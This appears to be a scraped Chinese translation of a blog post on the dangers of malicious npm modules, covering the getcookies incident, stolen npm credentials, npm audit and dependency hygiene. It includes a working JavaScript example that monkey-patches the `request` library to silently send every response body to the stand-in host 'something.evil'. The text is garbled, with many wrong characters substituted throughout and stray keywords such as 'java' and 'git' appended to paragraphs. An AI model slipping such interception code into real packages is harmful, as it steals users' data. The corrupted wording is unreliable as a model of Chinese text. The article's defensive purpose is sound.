常见的Node.js攻击-恶意模块的危害

根据最近npm的一项安全性调查显示,77%的受访者对OSS/第三方代码的安全性表示担心。本文将介绍关于这方面的内容,经过第三方代码引入应用程序的安全漏洞。具体来讲,咱们考虑被恶意引入的漏洞的场景。javascript

我应该担忧第三方模块吗?

你可能疑惑的第一件事是,是否须要担忧恶意模块?程序员是一群很是友好的人,咱们为何要怀疑他们发布的模块呢?并且,若是npm上的每一个包都是开源的,那么确定有大量的眼睛来跟踪每一行代码,不是吗?此外,我只有几个模块,能有多少第三方代码呢?java

在探究这些答案以前,让咱们先看看这篇文章:“我正在从你的站点获取信用卡号码和密码,方法在这"。这是一个虚构的故事,讲的是npm上的Node.js模块的做者,该模块可以偷偷地从网站上盗取信用卡。故事详细介绍了隐藏这些活动的各类方法。例如,代码历来不会在localhost环境上运行,它历来不会在开发控制台打开时运行,它只在很短一段时间内运行,而且发布到npm的代码被混淆了,而且与在GitHub上公开托管的代码不一样。虽然这个故事是虚构的,但它所描述的技术方法是彻底可行的。node

固然,那只是一个虚构的故事。现实真的有这样的例子吗?npm最近发布了这篇文章:“恶意模块报告:getcookies”。本文介绍了一个实际状况,文中描述的模块被发布并成为其余模块的依赖项。当接收到精心设计的头信息时,将触发此恶意模块,而后执行请求中提供的任意JavaScript代码。git

getcookies模块确实也成为了几个模块的依赖项,但理论上这种损害并无被普遍传播。您如今可能想知道会形成多大的破坏,或者攻击者会对npm生态系统产生多大的影响。在“收集弱npm凭证”这篇文章中,一位安全研究人员描述了他如何获取npm用户账户凭证(从而得到发布权),这些账户占整个npm包生态系统的14%。这是经过从许多可用的凭据泄漏和强制使用弱密码收集凭据来实现的。因为这些包是其余包的依赖项,研究人员可以瞬时影响54%的整个npm生态系统!若是研究人员发布了他所控制的每一个包的补丁版本,而后运行一个npm install,其中包含54%包中的任意一个包的依赖树,就会执行研究人员的代码。程序员

更为严重的是,即便是善意的包做者也可能成为网络钓鱼和密码泄漏的受害者。为了防止以上问题的出现,npm确实为其服务增长了双因子认证 (2FA)。然而,即便添加了2FA,托管在npm上的包也不必定是所有启用的。2FA是可选的,不太可能全部的npm包做者都启用它。虽然2FA更安全,但许多2FA方法也容易受到钓鱼攻击。github

固然,模块做者更有可能意外地向模块添加漏洞,而不是故意这样作。学者们发现Node.js模块中存在大量注入漏洞,这可能会使您的应用程序变得脆弱。咱们才真正开始关注这方面的研究,随着生态系统和Node.js开发人员数量的增长,针对npm模块的攻击只会变得愈来愈有利可图。数据库

我使用了多少第三方代码?

若是让你预估你的代码库中有多少是应用程序代码,有多少是第三方代码?如今你应该获得一个数字,接下来在应用程序中运行如下命令。该命令计算应用程序中的代码行数,并将其与node_modules目录中的代码行数进行比较。express

npx @intrinsic/loc
复制代码

这个命令的输出可能有点使人惊讶。对于一个拥有数千行应用程序代码的项目来讲,拥有超过100万行的第三方代码是很常见的。npm

到底能形成多大的伤害?

如今你可能想知道到底会形成什么样的伤害。例如,若是您的应用程序依赖于模块A,而模块A又依赖于模块B,最后依赖于模块C,那么咱们将一些重要数据传递给模块C的概率有多大呢?安全

为了让恶意包形成破坏,无论它在require层次结构中有多深,甚至无论它是否直接传递敏感数据。重要的是代码被require了。下面是一个恶意模块如何修改全局request的例子,它很难被检测到,而且会影响整个应用程序:

{
  // Require the popular `request` module
  const request = require('request')
  // Monkey-patch so every request now runs our function
  const RequestOrig = request.Request
  request.Request = (options) => {
    const origCallback = options.callback
    // Any outbound request will be mirrored to something.evil
    options.callback = (err, httpResponse, body) => {
      const rawReq = require('http').request({
        hostname: 'something.evil',
        port: 8000,
        method: 'POST'
      })
      // Failed requests are silent
      rawReq.on('error', () => {})
      rawReq.write(JSON.stringify(body, null, 2))
      rawReq.end()
      // The original request is still made and handled
      origCallback.apply(this, arguments)
    }
    if (new.target) {
      return Reflect.construct(RequestOrig, [options])
    } else {
      return RequestOrig(options)
    }
  };
}
复制代码

这个代码示例(若是包含在Node.js进程所需的任何模块中)将拦截经过请求库发出的全部请求,并将响应发送到攻击者的服务器。

如今想象一下,若是咱们把这个模块修改得更邪恶。例如,它甚至能够修补内部加密模块提供的方法。这能够用来将进程加密的任何字符串发送给第三方。这将影响将密码做为依赖项的其余模块,例如数据库模块在散列密码时执行auth或bcrypt模块。

模块还能够对express模块进行补丁,并建立一个中间件,该中间件在每一个传入请求上运行。而后,这些数据能够很容易地广播给攻击者。

缓解

咱们能够作几件事来保护本身免受恶意模块的攻击。首先要作的是了解应用程序中安装的模块数量。您应该始终知道应用程序依赖于多少模块。若是您曾经找到两个提供相同功能的模块,请选择依赖关系较少的模块。拥有较少的依赖意味着拥有较小的攻击面。

一些较大的公司实际上会有一个团队手工审核每一个软件包和软件包的白名单版本,而后容许公司的其余人员使用!考虑到npm上可用的包和发行版本的数量,这种方法并不实际。此外,许多包维护人员将安全更新做为补丁发布,这样用户就能够得到自动更新,可是若是审查过程很慢,那么应用程序的安全性就会下降!

npm最近收购了NSP并发布了npm audit。此工具将扫描已安装的依赖项,并将其与包含已知漏洞的模块/版本的黑名单进行比较。运行npm install甚至会告诉您是否存在已知的漏洞。运行npm audit fix程序将尝试用永久兼容的版本替换易受攻击的包(若是存在的话)。

这个工具虽然功能强大,但仅仅是抵御恶意模块的开始。这是一种保守的方法:它取决于已知和报告的漏洞。它依赖于在开发机器上运行命令的开发人员,查看输出,将依赖关系更改成再也不须要脆弱模块,而后再次部署。若是已知某个漏洞,它将不会主动保护当前部署的服务。

一般状况下,对于尚未补丁版本的包, npm audit会发现问题(如截图中显示的stringstream包)。例如,模块A不是常常更新,而且它依赖了一个有漏洞版本的模块B,而后模块B的版本被维护者修复了,应用程序全部者不能简单地更新模块B的版本。另外一个缺点是,有时审计的结果是没法利用的问题,例如模块中的ReDoS漏洞,该漏洞从不接收来自最终用户的字符串。

读完这篇文章后,您甚至可能想彻底避免使用全部第三方模块。固然,这是彻底不切实际的,由于在npm上有大量可用的模块,从新建立它们将是一项昂贵的工做。构建Node.js应用程序的吸引力来自于npm上庞大的模块生态系统,以及咱们构建可生产应用程序的速度。避免第三方模块违背了这一目的。

记住,必定要注意您已经安装的模块,注意您的依赖关系树,注意具备大量依赖关系的模块,并仔细检查您正在考虑添加的模块。这些是防止恶意模块进入依赖关系树的最佳方法。一旦模块成为依赖项,及时更新它们,由于这是得到安全补丁的好方法。不幸的是,若是您的应用程序的依赖关系树中最终出现了一个恶意模块,或者发现了一个零日漏洞,那么你也无能为力。您能够继续运行npm audit,但愿有人报告易受攻击的代码,但即便这样也意味着您应用对外使用期间易受攻击。若是您真的但愿主动地保护Node.js应用程序免受恶意模块的攻击,防止恶意的网络请求、危险的文件系统访问和限制子进程执行,或者您须要使用Intrinsic

译者注:前面介绍了那么多,后面的文章话锋一转介绍了Intrinsic这个产品,感兴趣的朋友异步到他们的官网查看,再也不继续翻译。

原文:common node.js attack vectors:the dangers of malicious modules

相关文章
相关标签/搜索